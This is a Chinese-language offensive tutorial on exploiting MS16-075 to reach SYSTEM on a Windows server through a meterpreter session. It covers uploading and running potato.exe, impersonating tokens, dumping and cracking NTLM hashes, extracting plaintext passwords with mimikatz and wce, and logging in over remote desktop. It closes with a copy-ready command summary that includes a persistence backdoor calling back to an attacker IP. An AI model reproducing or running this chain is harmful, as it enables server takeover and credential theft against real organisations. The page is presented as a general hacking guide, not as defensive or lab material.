1.1.1 ms16-075漏洞简介及利用前提
1.ms16-075漏洞简介
Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正Windows服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。微软将其定义为KB3164038,有关该漏洞的详细介绍请参阅其网页:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2016/ms16-075。
2 wmic对目标系统进行漏洞补丁更新情况查看
(1)wmic查看所有补丁安装情况
wmic qfe get Caption,Description,HotFixID,InstalledOn
(2)查找具体漏洞号的信息
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" /C:"KB4018483"
3.msf反弹进行补丁枚举
(1)使用模块post/windows/gather/enum_patches
use post/windows/gather/enum_patches
(2)设置会话
使用sessions -l命令查看会话,加入只有一个会话,其id为1,则使用set session 1设置为当前会话。
(3)设置漏洞KB号。
set kb "KB3136041" ,"KB4018483","KB3143141"
(4)执行枚举
run
图1使用后门监听模块
2.进行提权
(1)查看反弹服务器基本信息
在目标服务器上执行前面生成的反弹木马,如图2所示,反弹回来后,执行sysinfo查看服务器信息,该服务器为Windows 2008 SP2,为X86架构。
图2查看服务器基本信息
(2)在反弹的meterpreter中分别执行getuid及getsystem命令查看当前用户的权限及进行提权,结果显示使用msf自带的提权方法提权失败,如图3所示。
图3使用msf自带提权方法提权失败
3.上传ms16-075文件
在meterpreter中执行upload potato.exe命令,如图4所示,meterpreter会将potato文件直接上传到反弹shell所在的目录下。
图4上传ms16-075文件
4.利用ms16-075进行提权
(1)利用msf16-075进行提权
如图5所示,依次执行以下命令:
use incognito
list_tokens -u
execute -cH -f ./potato.exe
图5执行提权命令
(2)提权成功
执行ms16-075提权程序后,再次执行以下命令,如图6所示,获取当前用户权限为NT AUTHORITY\SYSTEM权限。
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
getuid
图6获取系统权限
5.获取及破解当前系统哈希值
(1)获取当前系统哈希值
在meterpreter中执行run hashdump命令,如图7所示,成功获取当前系统下的所有账号的哈希加密值,不过该哈希值的LM值为aa3d表示无法破解。只有后面的ntlm值有用。
图7获取当前系统密码哈希值
(2)破解密码值
将获取的哈希密码值的后半部分复制到www.cmd5.com进行破解,破解时需要选择ntlm算法,如图8所示,查询到密码后,通过付费查询,获取其密码值。
图8对密码进行破解
(3)使用mimikatz来获取密码
在meterpreter中执行load mimikatz命令,如图9所示,然后执行msv等命令,来获取系统的明文密码,在本案例中未能成功获取明文密码。
图9使用mimikatz获取明文密码
6.登录服务器
(1)查看远程终端端口
如图10所示,可以在shell状态下执行tasklist /svc | find “TermService”及netstat -ano | find “2872”命令来获取当前系统开放的3389端口。注意前面命令获取的是进程PID号是后面查询的关键字。也可以使用nmap命令通过扫描来确定,例如执行nmap -A -sS -Pn 192.1.1.1等命令来核实远程目标开放的端口。
图10获取远程终端端口
(2)登录远程终端并获取明文密码
使用前面破解的密码登录远程桌面,然后上传wce来获取明文密码,如图11所示,成功获取其管理员的密码。
图11获取管理员密码
1.1.6进行ms16-075提权及相关命令总结
1.ms16-075提权命令
upload potato.exe
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
getuid
2.获取密码哈希值
run hashdump
3.mimikatz进行密码获取
load mimikatz
kerberos、livessp、msv、ssp、tspkg、wdigest(逐个命令测试,有的会显示明文密码)
mimikatz_command:mimikatz命令提示窗口
mimikatz_command -f sekurlsa::wdigest -a "full"
mimikatz_command -f sekurlsa::logonpasswords
4.远程终端端口查看命令
tasklist /svc | find "TermService"
netstat -ano | find "2872"
5.持久化攻击
run persistence -X -i 50 -p 4433 -r 192.168.1.33
小彩蛋:
(1)密码安全攻防技术精讲:http://gitbook.cn/gitchat/column/5afbf24f753289354cab7983
(2)SQLmap入门到精通:http://blog.51cto.com/cloumn/detail/3
(3)新书《网络攻防实战研究:漏洞利用与提权》http://item.jd.com/12330042.html?dist=jd?dist=jd
参考文章:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
https://github.com/Kevin-Robertson/Tater
https://github.com/EmpireProject/Empire
https://github.com/jaredhaight/psattack
https://github.com/Cn33liz/p0wnedShell